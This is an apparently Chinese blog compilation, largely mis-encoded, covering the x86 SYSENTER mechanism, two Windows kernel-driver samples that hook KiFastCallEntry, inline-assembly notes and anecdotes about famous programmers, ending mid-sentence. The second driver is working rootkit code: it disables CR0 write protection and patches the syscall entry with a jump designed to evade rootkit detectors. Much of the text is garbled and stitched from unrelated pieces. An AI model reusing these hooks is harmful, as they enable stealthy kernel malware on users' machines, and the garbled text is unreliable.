SYSENETER是一条汇~指令,它是在Pentium? II 处理器及以上处理器中提供的,是快速系l调用的一部分。SYSENTER/SYSEXITq对指o专门用于实现快速调用。在q之前是采用INT 0x2E来实现的。INT 0x2E在系l调用的时候,需要进行栈切换的工作。由于Interrupt/Exception Handler的调用都是通过 call/trap/taskq一cȝgate来实现的Q这U方式会q行栈切换,q且pȝ栈的地址{信息由TSS提供。这U方式可能会引v多次内存讉K Q来获取q些切换信息Q,因此Q从PentiumII开始,IA-32引入了新指oQSYSENTER/SYSEXIT?有了q两条指令,
从用L到特权的堆栈以及指令指针的转换Q可以通过q一条指令来实现Qƈ且,需要切换到的新堆栈的地址Q以及相应过E的W一条指令的位置Q都有一l特D寄存器来实玎ͼq类Ҏ寄存器在IA-32中称为MSR(Model Specific Register)。这里牵涉到3个特D寄存器Q?
SYSENTER_CS_MSR: New code segment selector 0x174
SYSENTER_ESP_MSR: New Stack Pointer 0x175
SYSENTER_EIP_MSR: New Instruction Pointer 0x176
q里标出??6q制数分别对应这3个寄存器的地址Q该地址用于Kernel debugӞ通过rdmsr/wrmsr指o来读/写这3个寄存器。步骤如下:
10.JPG
1. 装蝲SYSENTER_CS_MSR 到CS 寄存器,讄目标代码D?br>2. 装蝲SYSENTER_EIP_MSR?EIP寄存器,讄目标指o
3. SYSENTER_CS_MSR+8 装蝲到SS寄存?Q设|栈D?br>4. 装蝲SYSENTER_ESP_MSR 到ESP寄存器,讄栈
5. 切换RING0.
6. 清除 EFLAGS?VM标志
7. 执行RING0例程
11.JPG
1. SYSENTER_CS_MSR+16装蝲?CS寄存?
2. EDX的值送入EIP
3. SYSENTER_CS_MSR+24 装蝲到SS寄存?
4. ECX的值送入ESP
5. 切换回RING3
6. 执行EIP处的RING3指o
我们在windbg中可以看看这个三个寄存器的情况,q个是我机器里的情况?br>lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> rdmsr 175
msr[175] = 00000000`ba4e0000
lkd> rdmsr 174
msr[174] = 00000000`00000008
可以看到Q我的机器里面当前SYSENTER_EIP_MSRQSYSENTER_ESP_MSRQSYSENTER_CS_MSRq三个寄存器的倹{?/p>
我们在微软公开的内核WRK中发现关于这三个寄存器的讄Q其中SYSENTER_EIP_MSR讄的值是KiFastCallEntry?br>代码如下Q?br>VOID
KiLoadFastSyscallMachineSpecificRegisters(
IN PLONG Context
)
/*++
Routine Description:
Load MSRs used to support Fast Syscall/return. This routine is
run on all processors.
Arguments:
None.
Return Value:
None.
--*/
{
PKPRCB Prcb;
UNREFERENCED_PARAMETER (Context);
if (KiFastSystemCallIsIA32) {
Prcb = KeGetCurrentPrcb();
//
// Use Intel defined way of doing this.
//
WRMSR(MSR_SYSENTER_CS, KGDT_R0_CODE);
WRMSR(MSR_SYSENTER_EIP, (ULONGLONG)(ULONG)KiFastCallEntry);
WRMSR(MSR_SYSENTER_ESP, (ULONGLONG)(ULONG)Prcb->DpcStack);
}
}
看看我电脑的情况如下Q?br>lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> u 8053dad0
nt!KiFastCallEntry:
8053dad0 b923000000 mov ecx,23h
8053dad5 6a30 push 30h
8053dad7 0fa1 pop fs
8053dad9 8ed9 mov ds,cx
8053dadb 8ec1 mov es,cx
8053dadd 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h]
8053dae3 8b6104 mov esp,dword ptr [ecx+4]
8053dae6 6a23 push 23h
下面是rootkit.com上的一个例子,q个例子有点不厚道,在你卸蝲的时候会bsod.我简单修改了下,贴代码如下:
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // Original value of ntoskrnl!KiFastCallEntry
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
_asm
{
mov ecx, 0x176
xor edx,edx
mov eax, d_origKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
__asm {
jmp [d_origKiFastCallEntry]
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
__asm {
mov ecx, 0x176
rdmsr // read the value of the IA32_SYSENTER_EIP register
mov d_origKiFastCallEntry, eax
mov eax, MyKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
return STATUS_SUCCESS;
}
注意一点,大家用windbg的时候,配置symbol path,如图Q?br>9.JPG
后面贴上一堕落天才写的文章链接:http://bbs.pediy.com/showthread.php?t=42705Q?br>他inline hook 了KiFastCallEntryQ采用detour方式,写得很不错?
上传的附?SysEnterHook.rar (973 字节, 743 ơ下?
;=====================================================================================================================
【原创】另一Usysenter hookҎ(l过l大多数的rootkit工L?
--------------------------------------------------------------------------------
?? 【原创】另一Usysenter hookҎ(l过l大多数的rootkit工L?
?? 堕落天才
?? 2007-04-14,11:09
?? http://bbs.pediy.com/showthread.php?t=42705
*****************************************************************************
*标题:【原创】另一Usysenter hookҎ(l过l大多数的rootkit工L? *
*作?堕落天才 *
*日期:2007q??4?nbsp; *
*****************************************************************************
先废?当初是ؓ了绕开NP对sysenter保护而想出来?后来发现qRootkitUnhooker都绕?
什么是sysenter hook我也不罗唆了,一般的拦截Ҏ是通过rdmsr wrmsr 两个指o把原来的sysenter地址Ҏ自己的sysenter地址来实现的.q种Ҏ使用方便,但检也很容?
q里介绍的另外一U方法不改变sysenter地址,而是通过直接在原来sysenter地址里面写蟩转代码来实现?q实际上跟一般的函数头inline hook一?q样rootkit工具就不会认ؓsysenter已经改变(实际上也是没?.
一般的rootkit工h函数inline hook是通过长跌{指o0xE9的来判断跌{距离是不是超出函数所在的模块范围来确定的.但是实现跌{我们也可以借助寄存器或变量(用变量蟩转需要涉及重定位问题,ȝ.所以一般用寄存?,q样跌{指o׃?xE9了而是0xFF,q个l大多数rootkit工h不到的(包括著名的RootkitUnhooker,VICE).
׃我们已经改变了KiFastCall函数?所以我们只能把原来的函数头代码攑ֈ另外一个地Ҏ?动态分配内?当然如果不考虑兼容性硬~码也没问题),然后再蟩转回?q里使用?三?,大概是这个样?
sysenter->KiFastCall
JMP -> MyKiFastCall(q里q行拦截或什么的)
JMP -> KiFastCall head code (q里执行原来KiFastCall函数头代?
JMP -> KiFastCall + N(已经执行指o长度)
///////////////////////////////////////////////////////////////////////////////////////////////////
//堕落天才
//2007q??4?br>#include<ntddk.h>
#include "OpCodeSize.h"
ULONG uSysenter; //sysenter地址
UCHAR uOrigSysenterHead[8];//保存原来的八个字节函数头
PUCHAR pMovedSysenterCode; //把原来的KiFastCall函数头保存在q里
ULONG i; //记录服务ID
__declspec(naked) void MyKiFastCallEntry(void)
{
__asm{
pop edi //因ؓ用到了edi来蟩?q里恢复
mov i, eax //得到服务ID
}
__asm{
pushad
push fs
push 0x30
pop fs
}
DbgPrint("sysenter was hooked! Get service ID:%X",i); //证明自己存在
__asm{
pop fs
popad
jmp pMovedSysenterCode //W二?跌{到原来的函数头代?
}
}
//////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原来函数头的八个字节恢?/p>
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
ExFreePool(pMovedSysenterCode); // 释放分配的内?br> DbgPrint("Unload sysenterHook");
}
////////////////////////////////////////////////////////
VOID HookSysenter()
{
UCHAR cHookCode[8] = { 0x57, //push edi W一?从KiFastCall跛_MyKiFastCallEntry.q绕qrootkit工h?br> 0xBF,0,0,0,0, //mov edi,0000
0xFF,0xE7}; //jmp edi
UCHAR JmpCode[]={0xE9,0,0,0,0}; //jmp 0000 W三?从KiFastCall函数头代码蟩转到原来KiFastCall+N
int nCopyLen = 0;
int nPos = 0;
__asm{
mov ecx,0x176
rdmsr
mov uSysenter,eax //得到KiFastCallEntry地址
}
DbgPrint("sysenter:0x%08X",uSysenter);
nPos = uSysenter;
while(nCopyLen<8){ //我们要改写的函数头至需?字节 q里计算实际需要COPY的代码长?因ؓ我们不能把一条完整的指o打断
nCopyLen += GetOpCodeSize((PVOID)nPos); //参?
nPos = uSysenter + nCopyLen;
}
DbgPrint("copy code lenght:%d",nCopyLen);
pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);
memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//备䆾原来8字节代码
*((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//计算跌{地址
memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原来的函数头放到新分配的内?br> memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把蟩转代码COPY上去
*((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址
DbgPrint("Saved sysenter code:0x%08X",pMovedSysenterCode);
DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,cHookCode,8);//把改写原来函数头
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DbgPrint("Welcome to sysenterhook.sys");
DriverObject->DriverUnload = OnUnload;
HookSysenter();
return STATUS_SUCCESS;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
以上代码?XP SP2中文 + RootkitUnhooker下测试通过
同理 IDT hook也可以用q种Ҏ实现,HOOK的实质是改变E序程,无论在哪里改?br>*************************************************************************************************
参?, 风月媄,【分享】西裤哥?Hook Api Lib 0.2 For C
;http://bbs.pediy.com/showthread.php?p=420864
ȝ一?
对于NASM与VC混合~程
在ASM文g的开头输?/font>
[bits 32] ;使用32位模式的处理?/font>
[section .text] ;textD? 代码D?只读q可执行
声明代码Dƈ且代码段?2?应ؓ对于VC生成的PE文gQ其代码攑֜.text的代码段?/font>
Q数据放?data的数据段?所以如果要定义数据的话Q要?dataD内
{一} 在C代码中调用汇~程?/font>
1..如果遵守C 调用U定
打比Ҏ们在ASM中实C个数相加的函?
_myadd:
push ebp
mov ebp,esp
mov eax,[ebp+8] ;a
mov ebx,[ebp+12] ;b
add eax,ebx
add esp,4
mov esp,ebp
pop ebp
ret
在ASM的开头写上global _myadd;
在C文g中声明函?nbsp;extern "C" int _cdecl myadd(int a,int b);
最主要的是要在ASM的函数名U的前面加上一?nbsp;_(下划U? ,但是在C文g中声明的函数不用加下划线,q且一定要加上extern "C",q且用_cdecl 声明Q这样以后就可以在C中调用ASM中的函数了?/font>
2.如果遵守stdcall 调用U定
q用上面的那个两个数相加的例?/font>
_myaddstdcall@8:
push ebp
mov ebp,esp
mov eax,[ebp+8] ;a
mov ebx,[ebp+12] ;b
add eax,ebx
add esp,4
mov esp,ebp
pop ebp
ret 8
在ASM文g的开头写?nbsp;global _myaddstdcall@8
在C文g中声明函?nbsp;extern "C" int _stdcall myaddstdcall(int a,int b);
q里要注意的是函数的名称问题,一般是_XXX@N ,也就是在开头加上一个下划线,@N中的N跟参数的大小有关p,目前我的理解是所有参数在堆栈中占用的ȝ大小.但是不确定,我只是推的Q如果那位知道具体的规定一定要告我一声啊?/font>
{二} 在汇~中调用C中的函数
1.遵守C调用U定
举个例子:
extern "C" void _cdecl myprint(int a)
{
printf("myprint %d\n",a);
}
在ASM中声?nbsp;extern _myprint ,然后可以用 push xxx Qcall myprint , add esp ,4 调用?/font>
。要注意的是call 调用完后Q一定要加上add esp ,X 来^衡堆?应ؓC调用U定规定是调用者^衡堆?
2.遵守stdcall 调用U定
extern "C" void _stdcall myprintstdcall(int a)
{
printf("myprintstdcall %d\n",a);
}
在ASM中声明extern _myprintstdcall@4 ,然后用push xxx ,call _myprintstdcall@4 调动Q这里就不用再加add espQX了,有函数本w^衡堆?
p些了Q都是个人ȝQ难免有不与错误,q请大家指正.
【一??__asm block中用汇~语a
1.关键字__asm调用内联汇编语句
有三U方式可?br>Q?Q__asm block 形式
例子Q?br>// asm_overview.cpp
// processor: x86
void __declspec(naked) main()
{
// Naked functions must provide their own prolog...
__asm {
push ebp
mov ebp, esp
sub esp, __LOCAL_SIZE
}
// ... and epilog
__asm {
pop ebp
ret
}
}
Q?Q将__asm攑֜每句汇编指o的开?br>例子Q?br>__asm push ebp
__asm mov ebp, esp
__asm sub esp, __LOCAL_SIZE
Q?Q应为__asm 也是一个语句分隔符Q所以可以将汇编指o攑֜同一行上
例子Q?br>__asm push ebp __asm mov ebp, esp __asm sub esp, __LOCAL_SIZE
2.内联汇编指o?br>VC++~译器支持Pentium 4 ?AMD Athlon的所有指令,额外的被其他目标处理器支持的指o
能够被创造用_emit 伪指令?br>附:_emit 伪指令说?br>_emit伪指令的MASM的DB指o怼Q你能够使用_emit在代码段Qtext segmentQ的当前位置
d义一个字节的立即数。_emit 一ơ只能定义一个字节,q且仅仅能够再代码段Qtext segmentQ?br>内定义?/p>
例子Q?br>#define randasm __asm _emit 0x4A __asm _emit 0x43 __asm _emit 0x4B
.
.
.
__asm {
randasm
}
3.再内联汇~中的MASM表达?br>内联汇编能够使用M的MASM的表辑ּQ能够M操作数和操作码的l合?/p>
4.内联汇编中的数据指o和操?br>管__asm block能够引用C/C++的数据类型和对象(object)Q但是他不能定义数据对象用MASM的指令和操作,其Q不能?/p>
DB,DW,DD,DQ,DT,DF 或者DUP,THIS。MASM中结构体和记录类型也是不可用的,内联汇编不接受STRUC,RECORD,WIDTH,MASK操作.
5.EVEN ?ALIGN 指o
管内联汇编不支持大多数MASM的指令,但是支持EVEN ?ALIGN 指oQ这两个指o填充NOP在汇~代码中d其数据和指定的边?q样能够
CUP的数据访问更加高?
6.内联汇编中的MASM宏指?br>内联汇编不支持MAsm中的宏指令(MACRO, REPT, IRC, IRP, ENDMQ或者宏操作W?<>, !, &, %, .TYPE)?/p>
7.内联汇编中的D引?br>再内联汇~中指定一个段只能通过寄存器,而不能通过名字Q例如,D名_TEXT是不可用的)Q段越必须昑ּ的用寄存器Q如ES:[BX].
8.内联汇编中的cd和变量尺寔R?br>LENGTH, SIZE ?TYPE 操作W有一个限定的意义再内联汇~中Q他们不能被使用和DUP一?因ؓ再内联汇~中不能使用DUP命o),但是能够?/p>
用他们去得到C/C++变量的尺寸和cd.
*LENGTH 操作W返回一个数l的元素数目Q非数组变量q回1.
*Size 操作W返回C/C++变量的尺寸,一个变量的寸是LENGTH与TYPE怹的结?
*TYPE 操作W返回C/C++cd或变量的寸Q如果是一个数l变量返回数l中单个元素的TYPE.
例子Q?br>int arr[8];
__asm C Size
LENGTH arr sizeof(arr)/sizeof(arr[0]) 8
SIZE arr sizeof(arr) 32
TYPE arr sizeof(arr[0]) 4
9.内联汇编的注释问?br>再__asm block 中可以用汇~语a的注?br>例子Q?br>__asm mov ax, offset buff ; Load address of buff
【二?再__asm block 中用C/C++
概述Q应为内联汇~能够与C/C++语句混合使用Q他梦能够用C/C++的变量通过名字,q有C/C++语言的其他元?
*W号Q包括标P变量Q函数名.
*帔RQ包括符号常量和枚DQenumQ?br>*宏,预处理命?br>*注释Q包?/**/?/Q?br>*cd名称
*typedef名称Q一般都和PTR和TYPE一起用或者去指定l构体或联合成员
1.?__asm block 中用操作符
?__asm block 中不能?C/C++Ҏ的操作符Q例?lt;<。C/C++与汇~共用的操作W,?Q是被解释ؓ汇编操作W?br>举个例子来说Q[]操作W在C语言里被解释为数l的下标Q?C能够自动的{换数l元素的寸,解释为首地址+单个元素的长?Ҏ号内的?
但是再__asm block中,他被看做 MASM索引操作W?index operator),解释为首地址+Ҏ号中的?
下面的实例显CZ他们的不同?br>int array[10];
__asm mov array[6], bx ; Store BX at array+6 (not scaled)
array[6] = 0; /* Store 0 at array+24 (scaled) */
能够使用TYPE操作W去辑ֈ和C同样的效?br>__asm mov array[6 * TYPE int], 0 ; Store 0 at array + 24
array[6] = 0; /* Store 0 at array + 24 */
2.使用C/C++W号在__asm block ?br>__asm块能够引?C/C++在作用域中的W号Q包括变量名Q函数名Q标?不能调用C++的成员函敎ͼ
在用C/C++W号时有一些限?
*每条汇编语句仅仅能够包含一个C/C++的符受在LENGTH, TYPE, ?SIZE表达式中则可以用多个C/C++W号?br>*在__asm block中函数引用必d声明。否则编译器不能区别在__asm block 中的标号与函数名.
*不能使用与MASM保留字相同的W号名称Q无论大写Q?br>*l构体和联合cd不能别识别在__asm block?
3.讉KC/C++数据在__asm block?br>在内联汇~中通过名称讉KC/C++变量是十分方便的。在__asm block中能讉KM在作用域中符受?br>例如Q在其作用域中有一个C变量 varQ?__asm MOV EAX,var 存储var的值在EAX中?/p>
如果一个类Q结构体或者联合结构的成员是唯一的,在__asm block中引用他仅仅使用成员变量名,
而不用用变量名或者typedef名在.操作W之前。如果成员名不是唯一的,无论如何Q必L|变量名或者typedef名在.操作W之前?br>例子Q?br>// InlineAssembler_Accessing_C_asm_Blocks.cpp
// processor: x86
#include <stdio.h>
struct first_type
{
char *weasel;
int same_name;
};
struct second_type
{
int wonton;
long same_name;
};
int main()
{
struct first_type hal;
struct second_type oat;
__asm
{
lea ebx, hal
mov ecx, [ebx]hal.same_name ; Must use 'hal'
mov esi, [ebx].weasel ; Can omit 'hal'
}
return 0;
}
?__asm block中能够访问C++ 的数据成员而不用去遵守讉K限制Q但是不能调用C++的成员函?
4.使用内联汇编写函?br>略。没啥好讲的Q直接看例子
int power2( int num, int power )
{
__asm
{
mov eax, num ; Get first argument
mov ecx, power ; Get second argument
shl eax, cl ; EAX = EAX * ( 2 to the power of CL )
}
// Return with result in EAX
}
5.使用和保存寄存器在内联汇~中
一般来_不应该假讑֯存器会有一个指定的值在__asm blok块开始时Q寄存器的g保证在离开了一个__asm block后被保存,如果你离开
了一个asm块ƈ开始了另一个asm块,不应该应用在上一个块中保存寄存器的倹{An __asm block inherits whatever register values result
from the normal flow of control.
如果使用__fastcall调用U定Q编译器传递参C用寄存器而不是堆栈,q可能生一个问题在应用了__asm block的函CQ因为函数无法知
道那个参数是在寄存器中。如果一个函数接受参数在EAX中,但是q后别立ȝ来存储其他的|那摩q个原始的参数就丢失了。ƈ且,?/p>
__fastcallU定中,必须保存ECX寄存器的倹{?br>去避免如此的寄存器冲H,不要使用__fastcall调用U定为那些包含__asm block的函?如果使用/Gr~译器选项指定了全局的__fastcallU定
Q那摩定义每个包含__asm block的函数用_stdcall或__cdecl?br>当用__asmd汇编语句在C/C++中,不需要去保存EAX,EBX,ECX,EDX,ESI,EDI。在使用EBX,ESI,EDIӞ你强q编译器M存ƈ回复q些寄存
器的值在函数的序a与结֤.
也应该保存用的其他寄存器(如DS,SS,SP,BP,EFLAGSQ对于这个__asm block的作用域.
也应该保存ESP和EBP除非你有其他的改变他们的原因。(例如Q堆栈{换)
下面q段不太好翻译,自己看吧Q?br>Some SSE types require eight-byte stack alignment, forcing the compiler to emit dynamic stack-alignment code. To be able to
access both the local variables and the function parameters after the alignment, the compiler maintains two frame pointers.
If the compiler performs frame pointer omission (FPO), it will use EBP and ESP. If the compiler does not perform FPO, it will
use EBX and EBP. To ensure code runs correctly, do not modify EBX in asm code if the function requires dynamic stack
alignment as it could modify the frame pointer. Either move the eight-byte aligned types out of the function, or avoid using
EBX.
注意:如果在__asm block中改变了方向标志Q通过STD,CLDQ那摩就要保存这些标志的原始?
6.在内联汇~中跌{到指定标?br>像一般的 C/C++标号Q在__asm block有函C用域Q在整个函数中可见,而不仅仅是在定义的__asm block中),汇编指o与goto语句都能跛_
标号?
定义在__asm block中的标号不是大小写敏感的Qgoto语句与汇~指令能够引用整个标可不用考虑大小写。但是C/C++代码中的标号是大写
敏感的当使用goto语句?使用汇编语句不用考虑大小写问?
例子Q?br>void func( void )
{
goto C_Dest; /* Legal: correct case */
goto c_dest; /* Error: incorrect case */
goto A_Dest; /* Legal: correct case */
goto a_dest; /* Legal: incorrect case */
__asm
{
jmp C_Dest ; Legal: correct case
jmp c_dest ; Legal: incorrect case
jmp A_Dest ; Legal: correct case
jmp a_dest ; Legal: incorrect case
a_dest: ; __asm label
}
C_Dest: /* C label */
return;
}
int main()
{
}
在__asm block中不要用C库的函数名作为标号名U?br> BAD TECHNIQUE: using library function name as label
jne exit
.
.
.
exit:
; More __asm code follows
在MASM中($Q符号作为当前的地址计数Qcurrent location counterQ。他是当前正在被~译的指令的标号.在__asm block 中他的主要作?/p>
是去作ؓ一个长的条件蟩?
jne $+5 ; next instruction is 5 bytes long
jmp farlabel
; $+5
.
.
.
farlabel:
【三?在内联汇~中调用C函数
一个__asm block能够调用C函数Q包括C库函数。下面是调用printf的例子:
// InlineAssembler_Calling_C_Functions_in_Inline_Assembly.cpp
// processor: x86
#include <stdio.h>
char format[] = "%s %s\n";
char hello[] = "Hello";
char world[] = "world";
int main( void )
{
__asm
{
mov eax, offset world
push eax
mov eax, offset hello
push eax
mov eax, offset format
push eax
call printf
//clean up the stack so that main can exit cleanly
//use the unused register ebx to do the cleanup
pop ebx
pop ebx
pop ebx
}
}
【四?定义__asm block作ؓ?br>C语言的宏提供了一个简便的方式L汇编代码q入源代码。但是那需要额外的心因ؓ宏被扩展C个单独的逻辑行上Qa single logical
lineQ,d建无错误的宏Q应遵守下列规则:
*用{}包围__asm block
*放__asm 关键字在每条汇编指o的开?br>*使用老式的注?/**/)代替汇编中的注释(;)和单行注?//).
例子:
#define PORTIO __asm \
/* Port output */ \
{ \
__asm mov al, 2 \
__asm mov dx, 0xD007 \
__asm out dx, al \
}
一个__asm block写的宏能够带参数Q但是不能返回|因此不要使用q样的宏在C/C++表达式中.
【五?内联汇编的优化问?br>__asm block的存在会对优化生一些媄响。首先,~译器不会尝试去优化__asm block中的指o。第二,__asm block会对寄存器变量的存储?/p>
生媄响,~译器会避免ȝ记穿__asm block的那些寄存器会被修改的变?
今天在网上看了一关于C++虚函数表的文章,让我对C++又有了更׃的理解,文章链接Q?a >http://www.51cto.com/art/200712/62673_2.htm
在这文章中讲到了通过虚函数表讉KU有的虚函数的问题,问题出在C++在虚函数表中保存了虚函数的地址Q而这个地址又很方便查找?br>在每个C++对象实例的开头存储这q个对象的虚函数表的指针Q通过q个指针可找到虚函数表,在虚函数表中存着虚函数指针,q样我们可以骗q编译器讉KU有的虚函数了?br>
Bill Joy, 前QSun的首席科学家Q当q在Berkeley时主持开发了最早版本的BSD。他q是vi和csh的作者。当ӞCsh Programming Considered Harmful 是另一个话题乐。据说他想看看自p不能写个操作pȝQ就在三天里写了个自qUnix, 也就是BSD的前w。当然是传说了,但见他的功力。另一个传说是Q?980q初的时候,DARPA让BBN在Berkley Unix里加上BBN开发的TCP/IP代码。但当时q是研究生的B伯伯怒了Q拒l把BBNTCP/IP加入BSDQ因Z觉得BBN的TCP/IP写得 不好。于是B伯伯出手了,端的是一封喉,很快写Z高性能的伯克利版TCP/IP。当时BBN和DARPA{了巨额合同开发TCP/IPStackQ?谁知他们的代码还不如一个研I生的好。于是他们开会。只见当时B伯伯I个T-shirt出现在会议室(当时IT-shirt不象现在Q还是相当散漫的 ?。只见BBN问:你怎么写出来的Q而B伯伯{:单,你读协议Q然后编E就行了。最令偶晕倒的是,B伯伯士毕业 后决定到工业界发展,于是到了当时只有一间办公室的Sun, 然后他就把Sparc设计?来乐。。。象q种软硬通吃的牛人,想不佩服都不行的说。据Bill Joy的同事说Q一般开会的时候B伯伯L拿一堆杂志O不经心地诅R但往往在关键之处,B伯伯发言Q直切要宻I提出 漂亮的构惻I让同事们d崩溃。对了,他还是Java Spec和JINI的主要作者之一?/p>
John Carmack John CarmackQid Software的founder和Lead Programmer。上个月和一个搞囑Ş的师兄聊天,他竟然不知道John Carmack, 也让偶大大地晕了一把。不q也许搞研究的和搞实战的多少有些隔吧。想必喜Ƣ第一人称击游戏的都知道J哥哥?0q代初只要能在PC上搞个小动画都能让h 惊叹一番的时候,J哥哥推Z石破天惊的Castle Wolfstein, 然后再接再励Qdoom, doomII, Quake...每次都把3-D技术推到极致。J哥哥的简历上说自q专长?Exhaust 3-D technology"Q真是牛Za不我ƺ的说。做J哥哥q样的h是很q福的,因ؓ各大囑Ş卡厂家一有了C品就要向?#8220;qA” Q不然如果他的游戏不支持哪种卡,哪种卡基本就会夭折乐。当初MS的Direct3D也得听取 他的意见Q修改了不少API。当ӞJ哥哥在结婚前十数q如一日地每天~程14时以上Q?也是偶们凡h望尘莫及的。对了,J哥哥高中肆业(Q?Q可以说是自学成才。不q呢Q谁要用q个例子来ؓ自己学习不好辩护Q就大错牚w了。那 Leonardo Da Vinciq是自学成才?人是U生子,不能上学)。普通h和天才还是有区别的。对了,其实偶们?#8220;辑ֈ?#8221;是相当不对的Q因为Vinci是地名,而Da Vinci是从Vinci来的人的意思。换句话_Leonardo Da Vinci是“从Vinci来的Leonardo”的意思。叫别h“Da Vinci”׃知所谓乐。嗯Q扯q了Q打住?/p>
David Cutler David CutlerQVMS和Windows NT的首席设计师Q去微Y前号U硅h牛的kernel开发员。当初他和他的手下在微Y一周内把一个具备基本功能的bootable kernel写出来,然后_“who can't write an OS in a week?"Q也是牛气冲天的说。顺便说一句,DL到NT3.5Ӟ理1500名开发员Q自p兼做设计和编E,不改coder本色啊。DL天生?气火爆,和h争论时喜Ƣ双手猛L子以壮声ѝ?-) 日常交谈F-word不离口。他面试U书时必问:"what do you think of the word '****'?" Q让无数女刹羽而归。终于有一天,一个同L爆的女面对这个问题脱口而出Q?That's my favorite word"。于是她被录取乐QؓDL工作到NT3.5发布?/p>
Donald E. Knuth Don Knuth。高L其实用不着偶多说。学~程的不知道他就好像学物理的不知道牛,学数学的不知道欧拉,学音乐的不知道莫扎特Q学Delphi的不知到 Anders HejlsbergQ或者学Linux不知道Linus Torvalds一P不可原谅啊?-)Z让文章完_再|唆几句吧。高L本科时就开始给行行色色的公司写各种E奇古怪的~译器挣外快了。他卖给 别h时收一两千元Q那些公司拿了codeQ加工一下卖出去是上万上十万。不q也没见高爷爷不爽过Q学者本色的说。想想那可是60q代初啊Q?高爷爷写~译器写多了Q顺带就搞出了个Attribute Grammar和LR(k)Q大大地造福后h啊。至于高L在CalTech的编E比?有Alan Kay得众多高高手参加)LW一Q写的Tex?6q就code freezeQ还附带2^n分奖励{等都是耳熟能详Q偶׃饶舌乐。顺便说一下,高老大h无可争议的写作高手。他lConcrete Mathematics 写的前言可谓字字铉KQ堪为前a的典范。他的技术文章也是一l,文风l致Q解释精当,而且没有学究气,不失d跌。记得几q前读Concrete MathematicsQ时不时开怀大笑Q让老妈极其郁闷Q觉得我nerdy到家Q不可救药。其实呢Q子非鱼Q安知鱼之乐Q更不知那完全是高爷L功劳?说到写作高手Q不能不提Stephen A. Cook。他的文章当q就被我们的写作老师极力推荐Q号U典雅文风的h。库L一头银发,w材颀长,L面带谦和的微W,颇有仙风道骨Q正好和他的仙文 盔R的说。高L其实q是开源运动的先驱。虽然他没有象Richard Stallman那样八方奔走Q但他捐献了好多作品Q都可以在网上看刎ͼ比如著名的Mathematical WritingQMMIXWareQThe Tex Book{,更不用说以让他芳百世的Tex乐?/p>
Ken Thompson Ken ThompsonQC语言前nB语言的作者,Unix的发明h之一(另一个是Dennis M. Riche老大Q被ؓDMR)QBelle(一个厉害的国际象棋E序)的作者之一, 操作pȝPlan 9的主要作?另一个是大牛人Rob Pike, 前不久被google挖走?。KenL也算是计机历史上开天辟地的人物了?969q还是计机史前时代Q普通h都认为只有大型机才能q行通用的操 作系l,型机只有高׃Ԓ止的份儿。至于用高语言来写操作pȝQ更是笑谈。KenL自然不是池中?Q于是他和DMR怒了Q在1969q到1970间用汇编在PDP-7上写ZUNIX的第一个版本。他们ƈ不知道,一轰烈烈的UNIX传奇由此拉开?序幕。KenL?971q又把Unix用C重写Q于是C在随?0q成׃不知多少豪杰的梦惛_光荣。KenLq有D佳话: 装了UNIX的PDP-11最早被安装在Bell Lab里供大家日常使用。很快大家就发现KenL总能q入他们的帐P获得最高权限。Bell Lab里的U学安心比天高Q当然被搞得郁闷无比。于是有高手怒了Q蟩出来分析了UNIX代码Q找到后门,修改代码Q然后重新编译了整个UNIX。就在大 安以ؓ“q个世界清净?#8221;的时候,他们发现KenLq是轻而易丑֜拿到他们的帐h限,百思不解后 Q只好l郁闗谁知道q一郁闷Q就郁闷?4q_直到KenL道出个中~由。原来,代码里的有后门Q但后门不在Unix代码里,而在~译Unix?码的C~译器里。每ơC~译器编译UNIX的代码,p动生成后门代码。而整个Bell Lab的hQ都是用KenL的C~译器?/p>
Rob Pike Rob Pike, AT&T Bell Lab前Member of Technical Staff Q现在google研究操作pȝ。罗伯伯是Unix的先驱,是贝实验室最早和Ken Thompson以及Dennis M. Ritche开发Unix的猛人,UTF-8的设计h。他q在国名嘴David Letterman的晚间节目上露了一脸Q一脸憨厚地帮一胖子吹牛搞怪。让偶佩服不已的是,|伯伯还?980q奥q会箭的银牌得丅R他也是个颇为厉 害的业余天文学家Q设计的珈玛线望远镜差点被NASA用在航天飞机上。他q是两本l典QThe Unix Programming Environment ?The Practice of Programming 的作者之一。如果初学者想在编E方面精益求_,实在该好好读读这两本书。它们都有中文版的说。罗伯伯q写ZUnix下第一个基于位囄H口pȝQƈ且是 著名的blit l端的作者。当然了Q罗伯伯q是L锐意革新的操作系l,Plan9Q的主要作者。可惜的是,Plan9q没有引起多h的注意。罗伯伯一怒之下,写出?振聋发聩的雄?Systems Software Research is 